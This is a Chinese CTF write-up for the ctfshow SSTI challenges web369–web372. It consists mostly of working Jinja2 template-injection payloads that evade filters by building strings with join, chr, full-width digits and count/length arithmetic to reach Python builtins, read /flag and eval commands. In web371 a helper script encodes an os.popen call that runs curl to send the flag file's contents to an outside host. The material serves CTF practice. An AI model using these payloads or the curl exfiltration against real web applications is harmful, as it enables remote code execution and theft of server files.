ctfshow SSTI注入 web369--web372

web369

这把request过滤了，只能自己拼字符了

php 复制代码

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

php 复制代码

举个例子，chr(97) 返回的是字符 'a'，因为 97 是小写字母 'a' 的 Unicode 编码值。
""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)
相当于
""__class__

php 复制代码

?name=
{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

web370

过滤了数字用全角数字代替半角数字

python 复制代码

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串：")
    for i in s:
        t += half2full(i)
    print(t)

php 复制代码

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(２４)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(４７)%2bchr(１０２)%2bchr(１０８)%2bchr(９７)%2bchr(１０３)%}
{%print(x.open(file).read())%}

web371

pyhton 复制代码

?name=
{% set c=(t|count)%}           #拼接出0
{% set cc=(dict(e=a)|join|count)%}         1 
{% set ccc=(dict(ee=a)|join|count)%}         2
{% set cccc=(dict(eee=a)|join|count)%}        3
{% set ccccc=(dict(eeee=a)|join|count)%}           4
{% set cccccc=(dict(eeeee=a)|join|count)%}            5 
{% set ccccccc=(dict(eeeeee=a)|join|count)%}          6 
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11
{% set coun=(ccc~ccccc)|int%}    24
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
baozongwi    没影响给自己加个标签
{%endif%}

cmd

python 复制代码

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

研究了一下发现只有curl可以用，nc\ping\weget都不可以

web372

发现count被禁用使用length代替

复制代码

?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=  %}{%if x.eval(cmd)%}{%endif%}

拓展知识，与本题无关

半角字符改全角字符

复制代码

半角字符：包和bao123

全角字符：包和ｂａｏ１２３有点看不出来，就看这个ｂａｏ１２３

python 复制代码

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="bao"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)